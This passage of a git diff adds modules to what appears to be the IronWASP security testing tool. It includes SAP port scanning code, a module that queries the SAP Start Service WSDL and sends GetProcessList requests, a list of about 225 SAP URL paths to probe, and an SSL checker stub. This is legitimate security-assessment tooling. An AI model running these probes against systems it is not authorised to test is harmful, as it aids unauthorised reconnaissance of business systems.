55300, 55400, 55500, 55600, 55700, 55800, 55900, 56000, 56100, 56200, 56300, 56400, 56500, 56600, 56700, 56800, 56900, 57000, 57100, 57200, 57300, 57400, 57500, 57600, 57700, 57800, 57900, 58000, 58100, 58200, 58300, 58400, 58500, 58600, 58700, 58800, 58900, 59000, 59100, 59200, 59300, 59400, 59500, 59600, 59700, 59800, 59900","JAVA HTTPS":"50001, 50101, 50201, 50301, 50401, 50501, 50601, 50701, 50801, 50901, 51001, 51101, 51201, 51301, 51401, 51501, 51601, 51701, 51801, 51901, 52001, 52101, 52201, 52301, 52401, 52501, 52601, 52701, 52801, 52901, 53001, 53101, 53201, 53301, 53401, 53501, 53601, 53701, 53801, 53901, 54001, 54101, 54201, 54301, 54401, 54501, 54601, 54701, 54801, 54901, 55001, 55101, 55201, 55301, 55401, 55501, 55601, 55701, 55801, 55901, 56001, 56101, 56201, 56301, 56401, 56501, 56601, 56701, 56801, 56901, 57001, 57101, 57201, 57301, 57401, 57501, 57601, 57701, 57801, 57901, 58001, 58101, 58201, 58301, 58401, 58501, 58601, 58701, 58801, 58901, 59001, 59101, 59201, 59301, 59401, 59501, 59601, 59701, 59801, 59901","Databse":"1527,1433","Gateway-Secure":"4800-4899","ICM - SMTP":"25","ICM - HTTPS":"44300-44399","Message Server HTPPS":"44400-44499","Dispatcher":"3200-3299","ICM HTTP":"8000-8099","Gateway":"3300-3399","Message Server":"3600-3699","Message Server HTTP":"8100-8199","Start Service":"50013, 50113, 50213, 50313, 50413, 50513, 50613, 50713, 50813, 50913, 51013, 51113, 51213, 51313, 51413, 51513, 51613, 51713, 51813, 51913, 52013, 52113, 52213, 52313, 52413, 52513, 52613, 52713, 52813, 52913, 53013, 53113, 53213, 53313, 53413, 53513, 53613, 53713, 53813, 53913, 54013, 54113, 54213, 54313, 54413, 54513, 54613, 54713, 54813, 54913, 55013, 55113, 55213, 55313, 55413, 55513, 55613, 55713, 55813, 55913, 56013, 56113, 56213, 56313, 56413, 56513, 56613, 56713, 56813, 56913, 57013, 57113, 57213, 57313, 57413, 57513, 57613, 57713, 57813, 57913, 58013, 58113, 58213, 58313, 58413, 58513, 58613, 58713, 58813, 58913, 59013, 59113, 59213, 59313, 59413, 59513, 59613, 59713, 59813, 59913","Secure Start Service":"50014, 50114, 50214, 50314, 50414, 50514, 50614, 50714, 50814, 50914, 51014, 51114, 51214, 51314, 51414, 51514, 51614, 51714, 51814, 51914, 52014, 52114, 52214, 52314, 52414, 52514, 52614, 52714, 52814, 52914, 53014, 53114, 53214, 53314, 53414, 53514, 53614, 53714, 53814, 53914, 54014, 54114, 54214, 54314, 54414, 54514, 54614, 54714, 54814, 54914, 55014, 55114, 55214, 55314, 55414, 55514, 55614, 55714, 55814, 55914, 56014, 56114, 56214, 56314, 56414, 56514, 56614, 56714, 56814, 56914, 57014, 57114, 57214, 57314, 57414, 57514, 57614, 57714, 57814, 57914, 58014, 58114, 58214, 58314, 58414, 58514, 58614, 58714, 58814, 58914, 59014, 59114, 59214, 59314, 59414, 59514, 59614, 59714, 59814, 59914","HTTP Services":"8086",} + self.dbdict={} + self.ip = ip + self.actid = actid + self.isap = isap + def controller(self): + for lin in self.portscanlist.iterkeys(): + ps = PortScanner(self.ip,str(self.portscanlist[lin]),3000) + res = ps.Scan() + self.dbdict[lin] = res + self.dbdict["ip"] = self.ip + self.dbdict["actid"]= self.actid + j = IronThread.Run(self.portscanresult) + + def portscanresult(self): + dbw = db2.dbwrite(self.isap) + dbw.portscanwrite(self.dbdict) \ No newline at end of file diff --git a/modules/IronSAP/IronSAPCore/start.py b/modules/IronSAP/IronSAPCore/start.py new file mode 100644 index 0000000..6b916d8 --- /dev/null +++ b/modules/IronSAP/IronSAPCore/start.py @@ -0,0 +1,56 @@ +import clr +clr.AddReference("System") +clr.AddReference("System.Data") +clr.AddReference("System.Data.SQLite") + +import System +from System.Data.SQLite import * +import datetime +import ping as a2 +import db as db2 +import portscan as ps +from IronWASP import * + + +class begin(): + def __init__(self, isap): + #print "Start" + self.isap = isap + self.ipadd = self.isap.target + #if self.isap.perform_attack == True: + # GlobalStore.Put("Attack","YES") + #if self.isap.verbose == True: + # GlobalStore.Put("Verbose","YES") + if self.isap.perform_attack: + self.isap.print_out("Attack Mode : YES", 0) + if self.isap.verbose: + self.isap.print_out("Verbose Mode : YES", 0) + activeid = 1 + self.pinghost(activeid) + + + def pinghost(self,activeid): + ping = a2.PingCheck(self.ipadd,activeid,self.isap) + pingres = ping.ping() + #Now Lets send the ping results to the database recorder. + #dbw = db2.dbwrite(self.isap) + #dbw.pingwrite(pingres) + + if pingres[2] == "Success": + self.isap.print_out(self.ipadd + " is alive ...", 0) + self.portscancontroller("Success") + else: + self.isap.print_out("Unable to ping " + self.ipadd + " but still proceeding with port scan ...", 0) + self.portscancontroller("Fail") + + def portscancontroller(self,result): + self.isap.print_out("Port Scan started. This might take a few minutes, please be patient .... ",0) + self.actid = 1 + portScan = ps.portscan(self.ipadd,self.actid,self.isap) + portScan.controller() + + + + + + \ No newline at end of file diff --git a/modules/IronSAP/IronSAPCore/webservices.py b/modules/IronSAP/IronSAPCore/webservices.py new file mode 100644 index 0000000..feeafb6 --- /dev/null +++ b/modules/IronSAP/IronSAPCore/webservices.py @@ -0,0 +1,119 @@ +from IronWASP import * +import clr +clr.AddReference("System.Web.Services") +clr.AddReference("System.Xml") + +from System.Web.Services.Description import ( + ServiceDescription, ServiceDescriptionImporter +) +from System.Web.Services.Protocols import SoapHttpClientProtocol +from System.IO import MemoryStream +from System.Net import WebClient + +from System.CodeDom import ( + CodeCompileUnit, CodeNamespace +) +from System.CodeDom.Compiler import CodeDomProvider, CompilerParameters +from System.Xml.Serialization import CodeGenerationOptions + +class webservices: + + + def returnres(self,op): + proto = "http://" + #f = open("SAPstart.txt") + ip = self.values["ip"] + for x in self.ports: + #print x + try: + Request("http://" + ip + ":" + str(x)).Send() + except: + try: + Request("https://" + ip + ":" + str(x)).Send() + proto = "https://" + except: + pass + url = proto + ip + ":" + str(x) + "/SAPControl.cgi" + strin = self.strings[op] + req = Request("POST",url,strin) + resp = req.Send() + self.isap.print_out(resp,3) + #f.write(resp) + #f.close() + + + + def CreateWebServiceFromWsdl(self,wsdl): + sd = ServiceDescription.Read(MemoryStream(wsdl)) + ptcount= sd.PortTypes.Count + self.isap.print_out("Port Types:"+str(ptcount),3) + for x in range(0,ptcount): + self.isap.print_out(str(sd.PortTypes[x].Name),3) + portoperations = sd.PortTypes[x].Operations + portoperationscount = portoperations.Count + self.isap.print_out("Operations"+str(portoperationscount),3) + for j in range(0,portoperationscount): + self.isap.print_out(str(portoperations[j].Name),3) + self.returnres("GetProcessList") + + def GetWebservice(self,url): + data = self.GetBytes(url) + assembly = self.CreateWebServiceFromWsdl(data) + def GetBytes(self,url): + return WebClient().DownloadData(url) + + def __init__(self,values,isap): + self.isap=isap + self.values = values + self.ports =[] + self.operations=[] + self.strings={"ParameterValue":'true',"GetProcessList":'true'} + + def start(self): + self.isap.print_out("Starting SAP START WebService Analysis"+"\n",0) + startserviceports = [] + for port in self.values["Start Service"]: + startserviceports.append(port) + self.ports.append(port) + #self.isap.print_out(len(startserviceports),0) + if len(startserviceports) > 0: + self.analysis(startserviceports) + else: + self.isap.print_out("NO SAP START ports were found ",3) + self.isap.stopper() + + + def analysis(self,ports): + ip = self.values["ip"] + for port in ports: + self.isap.print_out("Port Type/Operations for For for Port"+str(port)+"\n") + proto = "http://" + try: + Request("http://" + str(ip) + ":" + str(port)).Send() + except: + try: + Request("https://" + str(ip) + ":" + str(port)).Send() + proto = "https://" + except: + pass + + url = proto + str(ip) + ":" + str(port) + "/?wsdl" + req = Request(url) + resp = req.Send() + if resp.Code==200: + pr = PluginResult(req.Host) + pr.Title = "SAP Start Service (MMC) was found" + pr.Summary = "SAP Start service could be used to retrive a lot of business critical data from the SAP system" + pr.Plugin = " " + pr.Triggers.Add("",req,"",resp) + g = PluginResultSeverity.High + h = PluginResultConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + self.GetWebservice(url) +# req = Request(url) +# req.Headers.Set("User-Agent","Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1") +# resp = req.Send() +# if resp.Code==200: +# print resp \ No newline at end of file diff --git a/modules/IronSAP/sapurl.txt b/modules/IronSAP/sapurl.txt new file mode 100644 index 0000000..1ee785e --- /dev/null +++ b/modules/IronSAP/sapurl.txt @@ -0,0 +1,225 @@ +/rep/build_info.html +/rep/build_info.jsp +/run/build_info.html +/run/build_info.jsp +/rwb/version.html +/sap/bc/bsp/esh_os_service/favicon.gif +/sap/bc/bsp/sap +/sap/bc/bsp/sap/alertinbox +/sap/bc/bsp/sap/bsp_dlc_frcmp +/sap/bc/bsp/sap/bsp_veri +/sap/bc/bsp/sap/bsp_verificatio +/sap/bc/bsp/sap/bsp_wd_base +/sap/bc/bsp/sap/bspwd_basics +/sap/bc/bsp/sap/certmap +/sap/bc/bsp/sap/certreq +/sap/bc/bsp/sap/crm_bsp_frame +/sap/bc/bsp/sap/crmcmp_bpident/ +/sap/bc/bsp/sap/crmcmp_brfcase +/sap/bc/bsp/sap/crmcmp_hdr +/sap/bc/bsp/sap/crmcmp_hdr_std +/sap/bc/bsp/sap/crmcmp_ic_frame +/sap/bc/bsp/sap/crm_thtmlb_util +/sap/bc/bsp/sap/crm_ui_frame +/sap/bc/bsp/sap/crm_ui_start +/sap/bc/bsp/sap/esh_sap_link +/sap/bc/bsp/sap/esh_sapgui_exe +/sap/bc/bsp/sap/graph_bsp_test +/sap/bc/bsp/sap/graph_bsp_test/Mimes +/sap/bc/bsp/sap/gsbirp +/sap/bc/bsp/sap/htmlb_samples +/sap/bc/bsp/sap/iccmp_bp_cnfirm +/sap/bc/bsp/sap/iccmp_hdr_cntnr +/sap/bc/bsp/sap/iccmp_hdr_cntnt +/sap/bc/bsp/sap/iccmp_header +/sap/bc/bsp/sap/iccmp_ssc_ll/ +/sap/bc/bsp/sap/ic_frw_notify +/sap/bc/bsp/sap/it00 +/sap/bc/bsp/sap/public/bc +/sap/bc/bsp/sap/public/graphics +/sap/bc/bsp/sap/sam_demo +/sap/bc/bsp/sap/sam_notifying +/sap/bc/bsp/sap/sam_sess_queue +/sap/bc/bsp/sap/sbspext_htmlb +/sap/bc/bsp/sap/sbspext_xhtmlb +/sap/bc/bsp/sap/spi_admin +/sap/bc/bsp/sap/spi_monitor +/sap/bc/bsp/sap/sxms_alertrules +/sap/bc/bsp/sap/system +/sap/bc/bsp/sap/thtmlb_scripts +/sap/bc/bsp/sap/thtmlb_styles +/sap/bc/bsp/sap/uicmp_ltx +/sap/bc/bsp/sap/xmb_bsp_log +/sap/bc/contentserver +/sap/bc/echo +/sap/bc/error +/sap/bc/FormToRfc +/sap/bc/graphics/net +/sap/bc/gui/sap/its/CERTREQ +/sap/bc/gui/sap/its/designs +/sap/bc/gui/sap/its/webgui +/sap/bc/IDoc_XML +/sap/bc/ping +/sap/bc/report +/sap/bc/soap/ici +/sap/bc/soap/rfc +/sap/bc/srt/IDoc +/sap/bc/wdvd +/sap/bc/webdynpro/sap/apb_launchpad +/sap/bc/webdynpro/sap/apb_launchpad_nwbc +/sap/bc/webdynpro/sap/apb_lpd_light_start +/sap/bc/webdynpro/sap/apb_lpd_start_url +/sap/bc/webdynpro/sap/application_exit +/sap/bc/webdynpro/sap/appl_log_trc_viewer +/sap/bc/webdynpro/sap/appl_soap_management +/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv +/sap/bc/webdynpro/sap/cnp_light_test +/sap/bc/webdynpro/sap/configure_application +/sap/bc/webdynpro/sap/configure_component +/sap/bc/webdynpro/sap/esh_search_results.ui +/sap/bc/webdynpro/sap/esh_adm_smoketest_ui +/sap/bc/webdynpro/sap/sh_adm_smoketest_files +/sap/bc/webdynpro/sap/esh_eng_modelling +/sap/bc/webdynpro/sap/esh_admin_ui_component +/sap/bc/webdynpro/sap/wdhc_application +/sap/bc/webdynpro/sap/wd_analyze_config_appl +/sap/bc/webdynpro/sap/wd_analyze_config_comp +/sap/bc/webdynpro/sap/wd_analyze_config_user +/sap/bc/webdynpro/sap/WDR_TEST_ADOBE +/sap/bc/webdynpro/sap/WDR_TEST_EVENTS +/sap/bc/webdynpro/sap/wdr_test_popups_rt +/sap/bc/webdynpro/sap/WDR_TEST_TABLE +/sap/bc/webdynpro/sap/wdr_test_ui_elements +/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR +/sap/bc/webrfc +/sap/bc/xrfc +/sap/bc/xrfc_test +/sap/es/cockpit +/sap/es/getdocument +/sap/es/opensearch +/sap/es/opensearch/description +/sap/es/opensearch/list +/sap/es/opensearch/search +/sap/es/saplink +/sap/es/search +/sap/es/redirect +/sap/crm +/sap/public/bc +/sap/public/bc/icons +/sap/public/bc/icons_rtl +/sap/public/bc/its/mimes +/sap/public/bc/its/mimes/system/SL/page/hourglass.html +/sap/public/bc/its/mobile/itsmobile00 +/sap/public/bc/its/mobile/itsmobile01 +/sap/public/bc/its/mobile/rfid +/sap/public/bc/its/mobile/start +/sap/public/bc/its/mobile/test +/sap/public/bc/NWDEMO_MODEL +/sap/public/bc/NW_ESH_TST_AUTO +/sap/public/bc/pictograms +/sap/public/bc/sicf_login_run +/sap/public/bc/trex +/sap/public/bc/ur +/sap/public/bc/wdtracetool +/sap/public/bc/webdynpro/adobechallenge +/sap/public/bc/webdynpro/mimes +/sap/public/bc/webdynpro/ssr +/sap/public/bc/webdynpro/viewdesigner +/sap/public/bc/webicons +/sap/public/bc/workflow +/sap/public/bc/workflow/shortcut +/sap/public/bsp/sap +/sap/public/bsp/sap/htmlb +/sap/public/bsp/sap/public +/sap/public/bsp/sap/public/bc +/sap/public/bsp/sap/public/faa +/sap/public/bsp/sap/public/graphics +/sap/public/bsp/sap/public/graphics/jnet_handler +/sap/public/bsp/sap/public/graphics/mimes +/sap/public/bsp/sap/system +/sap/public/bsp/sap/system_public +/sap/public/icf_check +/sap/public/icf_info +/sap/public/icf_info/icr_groups +/sap/public/icf_info/icr_urlprefix +/sap/public/icf_info/logon_groups +/sap/public/icf_info/urlprefix +/sap/public/icman +/sap/public/info +/sap/public/myssocntl +/sap/public/ping +/sap/webcuif +/sap/admin/public/index.html +/webdynpro/dispatcher +/useradmin +/mmr/mmr/MMRUI.html +/utl/UsageTypesInfo +/irj/portal +/index.html +/wsnavigator/jsps/index.jsp +/webdynpro/welcome/Welcome.jsp +/uddiclient/jsps/index.jsp +/uddiclient/process/ +/nwa +/logon/logonServlet +/monitoring/SystemInfo +/htmlb/index.html +/htmlb/moresamples.html +/htmlb/samples.html +/htmlb/docs/api/index.html +/htmlb/jsp/index.jsp +/AdobeDocumentServices/Config?wsdl +/apidocs/allclasses-frame.html +/apidocs/com/sap/engine/deploy/manager/LoginInfo.html +/bcb/bcbadmHome.jsp +/bcb/bcbadmNavigation.jsp +/bcb/bcbadmStart.jsp +/BizcCommLayerAuthoring/Config?wsdl +/CAFDataService/Config?wsdl +/CMSRTS/Config?wsdl +/GRMGWSTest/service?wsdl +/IciActionItemService/IciActionItemConf?wsdl +/IciChatService/IciChatConf?wsdl +/IciEventService/IciEventConf?wsdl +/IciFolderService/IciFolderConf?wsdl +/IciItemService/IciItemConf?wsdl +/IciMessageService/IciMessageConf?wsdl +/IciMonitorService/IciMonitorConf?wsdl +/IciPhoneCallService/IciPhoneCallConf?wsdl +/IciSystemService/IciSystemConf?wsdl +/IciUserService/IciUserConf?wsdl +/logon/index.jsp +/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet +/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp +/main.html +/meSync/HttpGRMGTest.html +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int +/sap/bc/webdynpro/sap/hrrcf_a_appls +/sap/bc/webdynpro/sap/hrrcf_a_applwizard +/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration +/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification +/sap/bc/webdynpro/sap/hrrcf_a_dataoverview +/sap/bc/webdynpro/sap/hrrcf_a_draft_applications +/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail +/sap/bc/webdynpro/sap/hrrcf_a_posting_apply +/sap/bc/webdynpro/sap/hrrcf_a_psett_ext +/sap/bc/webdynpro/sap/hrrcf_a_psett_int +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern +/sap/bc/webdynpro/sap/hrrcf_a_qa_mss +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int +/sap/bc/webdynpro/sap/hrrcf_a_req_assess +/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor +/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin +/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager +/sap/bc/webdynpro/sap/hrrcf_a_tp_assess +/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand +/sap/bc/webdynpro/sap/sh_adm_smoketest_files +/sap/public/bc/its/designs +/top.html +/WSConnector/Config?wsdl diff --git a/modules/SSLSecurityChecker/SSLSecurityChecker.rb b/modules/SSLSecurityChecker/SSLSecurityChecker.rb new file mode 100644 index 0000000..e7e8aea --- /dev/null +++ b/modules/SSLSecurityChecker/SSLSecurityChecker.rb @@ -0,0 +1,197 @@ +require "TestSSLServer.dll" +include IronWASP + +#Extend the RubyModule base class +class SSLSecurityChecker < RubyModule + + # @console + + #Implement the GetInstance method of RubyModule class. This method is used to create new instances of this module. + def GetInstance + m = SSLSecurityChecker.new + m.name = 'SSLSecurityChecker' + return m + end + + + #Implement the StartModule method of Module class. This is the method called by IronWASP when user tries to launch the moduule from the UI. + def StartModule + # #IronConsole is a CLI window where output can be printed and user input accepted + # @console = IronConsole.new + # @console.set_title('Test SSL Server') + # @console.show_console + # #'print_line' prints text at the CLI. 'print' prints text without adding a newline at the end. + # @console.print_line('[*] Test SSL Server has started') + # @console.print('[*] Enter target URL: ') + # #'read_line' accepts a single line input from the user through the CLI. 'read' accepts multi-line input. + # url = @console.read_line() + # @console.print_line(url) + # @console.print_line('[*] Target scanned!') + @tss = TestSSLServer::TestSSLServer.new + startUI + end +end + +def startUI + ui = ModUi.new() + ui.Size = ModUiTools.get_size_definition(584,450) + ui.Text = Tools.base64_decode('U1NMIFNlY3VyaXR5IENoZWNrZXI=') + ui.Icon = ModUiTools.get_icon_definition('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